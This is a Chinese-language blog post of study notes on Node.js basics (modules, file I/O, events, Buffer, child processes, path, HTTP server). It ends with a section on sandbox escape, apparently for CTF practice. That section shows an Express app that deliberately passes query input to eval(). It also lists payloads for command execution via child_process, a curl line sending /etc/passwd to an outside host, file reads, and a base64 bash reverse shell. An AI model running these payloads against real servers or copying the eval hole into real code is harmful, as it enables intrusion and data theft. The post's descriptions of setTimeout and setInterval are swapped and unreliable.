NodeJs学习以及沙盒逃逸

NodeJs学习以及沙盒逃逸

Scroll Down

NodeJs学习以及沙盒逃逸

这篇会记录学习NodeJs的一些基础知识,以及一些关于沙盒逃逸的payload

NodeJs基础

Nodejs是运行在服务端的JavaScript,对v8引擎进行封装

基于事件驱动和非阻塞IO,所以可以保证其轻量和高效

其自带一个REPL是一个交互解释器,可以做一些简单的代码输出、运算

REPL.png

模块

模块的导入和导出

module.js

function func(){//创建一个函数
    console.log("This is a function in module");
}

let obj = {//创建一个对象
    name : "Noname"
}

console.log("obj.name:", obj.name);
module.exports = {obj, func};//导出函数和对象

//单独导出函数
// exports.func = func;

test.js

let test = require('./module.js');//指明是当前路径下的module.js

//若在module文件中没有导出,这里则是空对象
console.log('test:', test);

//尝试调用module中的函数
test.func();

module1.png

单独导出函数:

module2.png

文件操作

引入依赖

let fs = require('fs')

同步写入文件

//同步打开文件(以写入的方式)
let fd = fs.openSync('index1.html', 'w');

//将文本写入
str = '<h1>Index1</h1>'
fs.writeFileSync(fd, str);

//关闭文件
fs.closeSync(fd);

异步写入文件

//异步打开文件
fs.open('text2.txt', 'w',(err, fd)=>{
    console.log("文件打开!");
    fs.write(fd, '异步文件操作', function(err){
        if(!err){
            console.log("写入完成!");
            fs.close(fd, ()=>{
                console.log("文件关闭!");
            })
        }else{
            console.log(err);
        }
    })
})

console.log("别管我!");

写入流方式写入文件

//创建写入流
let ws = fs.createWriteStream('text3.txt');

//打开监听通道(一次)
ws.once('open', ()=>{
    console.log("通道打开");
    ws.write("1 ");
    ws.write("2 ");
    ws.write("3 ");

    //写入结束
    ws.end()
})

//关闭监听通道
ws.once('close', ()=>{
    console.log('通道关闭');
})

删除文件

fs.unlink('test.txt',(err)=>{
    if(err)
    {
        console.log('err', err);
    }else{
        console.log('删除成功');
    }
})

读取当前目录下的文件列表

//读取当前目录下的所有文件 (错误,文件列表)
fs.readdir('./', (err,files) => {
    if(err){
        console.log(err);
    }else{
        console.log(files);
    }
})

删除文件夹

//删除文件夹
fs.rmdir('./img',(err)=>{
    if(err){
        console.log(err)
    }else{
        console.log("删除成功")
    }
})

读文件

fs.readFile('index1.html', (err,data)=>{
    if(!err){
        console.log(data.toString())
    }else{
        console.log('err', err)
    }
})

console.log('读取文件中的数据..')

建立管道读取文件

let rs = fs.createReadStream('index1.html');
let ws = fs.createWriteStream('index1_copy.html');

//创建管道
rs.pipe(ws)

事件

let fs = require('fs')
let events  = require('events')

//创建事件对象
var eventLog = new events.EventEmitter();

//监听事件
eventLog.on('MkDir', function(msg){
    console.log('创建文件夹事件触发...', msg)
})

//触发事件
eventLog.emit('MkDir')

//传递msg
eventLog.emit('MkDir', 'Msg')

//创建文件夹
fs.mkdir('./test', (err)=>{
    if(err){
        console.log(err);
    }else{
        eventLog.emit('MkDir', '(真的在创建文件夹)')
        console.log('创建文件夹成功');
    }
})

event1.png

Buffer缓冲区

//将字符串放置到缓冲区
let b1 = Buffer.from('100')
console.log(b1)//<Buffer 31 30 30>
console.log(b1.toString())//100

//初始化缓冲区
//创建一个大小为10个字节的缓冲区,重置新的数据
let b2 = Buffer.alloc(10)
console.log(b2)//<Buffer 00 00 00 00 00 00 00 00 00 00>

//不会重置数据
let b3 = Buffer.allocUnsafe(10)
console.log(b3)//<Buffer 00 00 00 00 00 00 00 00 00 00>
console.log(b3.toString())// [空]

b3[0] = '1'

console.log(b3)//<Buffer 01 00 00 00 00 00 00 00 00 00>
console.log(b3.toString())// [空]

console.log(b3[0].toString())//1

[空]表示输出一个空行

多进程架构

Node在v8引擎上构建,模型与浏览器类似,js将运行在单个进程的单个线程上,可以通过创建子进程,实现多进程的架构

1.child_process

exec(command,options):衍生一个shell并在shell中执行命令command,且缓冲任何产生的输出,有一个回调函数获知子进程的状况

index.js

console.log('进程:' +process.argv[2] + '执行') //process全局参数

main.js

const child_process = require('child_process') //任意创建子进程

for(var i=0;i<3;i++){
    //开启进程执行index1.js
    var workerProcess = child_process.exec('node index.js ' +i, function(err, stdout, stderr){
        if(err){
            console.log(err)
        }else{
            console.log('stdout:' ,stdout)
            console.log('stderr:', stderr)
        }
    })

    //监听
    workerProcess.on('exit', function(code){
        console.log('子进程已完成并退出:'+code)
    })
}

spawn(command[, args]):使用给定的command和args中的命令行参数衍生一个新进程

main.js

const child_process = require('child_process') //任意创建子进程

for(var i=0;i<3;i++){
    //开启进程执行index.js
    var workerProcess = child_process.spawn('node',['index.js', i])
    //fork('index1.js', [i])
    workerProcess.stdout.on('data', function(data){
        console.log('data: '+data)
    })
    workerProcess.stderr.on('data', function(data){
        console.log('err: '+data)
    })

    //监听
    workerProcess.on('exit', function(code){
        console.log('子进程已完成并退出:'+code)
    })
}

fork(modulePath):衍生新的进程,每个进程都有自己的内存,使用自己的v8实例

//开启进程执行index.js
var workerProcess = child_process.fork('index1.js', [i])

path模块

引入模块

let path = require("path")

两个全局模块

__filename:当前正在执行的脚本的文件名称

__dirname:当前正在执行脚本的目录名称

console.log(__filename)//D:\Project\Node\demo6\index1.jsconsole.log(__filename)
console.log(__dirname)//D:\Project\Node\demo6

一些实例

index1.js

const { dirname } = require('path')
let path = require('path')

let strPath = 'D:/Project/Node/demo6/index1.js'
//获取扩展名
console.log(path.extname(strPath))//.js
console.log(path.extname(__filename))//.js

//获取文件名称
console.log(path.basename(strPath))//index1.js
console.log(path.basename(__filename))//index1.js

//获取目录名称
console.log(path.dirname(strPath))//D:/Project/Node/demo6
console.log(path.dirname(__filename))//D:\Project\Node\demo6

//解析目录 路径规范化
console.log(path.normalize(strPath))//D:\Project\Node\demo6\index1.js
//关于正斜杠和反斜杠的故事就不想说了

//路径的合并
console.log(path.join(__dirname+'/abc.html'))//D:\Project\Node\demo6\abc.html

//获取绝对路径的合并
console.log(path.resolve(__dirname+'/abc.html'))//D:\Project\Node\demo6\abc.html

利用模块搭建服务器

//导入node的HTTP模块
let http = require('http')

//创建服务器实例
let server = http.createServer();

//服务器监听请求数据
server.on('request', (req, res)=>{
    if(req.url == '/')
    {
        res.end('Index')
    }else{
        res.end('Response')
    }
})

//监听
server.listen(2333, ()=>{
    console.log("服务器启动:","localhost:2333")
})

nodeserver1.png

nodeserver.png

沙盒逃逸

目前只接触到少量题型,之后遇到别的会再补充

命令执行

危险函数eval()

var express = require("express")
var app  = express()

app.get('/', (req, res)=>{
    res.send(eval(req.query.eval))
    console.log(req.query.eval)
})

var server = app.listen(2333, ()=>{
    console.log('服务器启动:', 'localhost:2333')
})

利用child_process下的可以执行命令的模块,常用payload

/?eval=require('child_process').exec('ls')

/?eval=require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps')

/?eval=global.process.mainModule.constructor._load('child_process').exec('ls')

/?eval=setInterval(require('child_process').exec,1000,"ls");

补curl用法:

https://itbilu.com/linux/man/4yZ9qH_7X.html

文件/目录读取:

/?eval=res.end(require('fs').readdirSync('.').toString())

/?eval=res.end(require('fs').readFileSync('flag.txt').toString())

/?eval=__filename

反弹shell:

/?eval=require('child_process').exec('echo xxx|base64 -d|bash');

xxx: bash -i >& /dev/tcp/[vpsIp]/[port] 0>&1 转换成base64

补充:

setTimeout(some_function, 2000) 间隔2s执行函数

Setinterval(some_function, 2000) 2s后执行函数

setTimeout(require('child_process').exec,1000,"ls");
setInterval(require('child_process').exec,1000,"calc");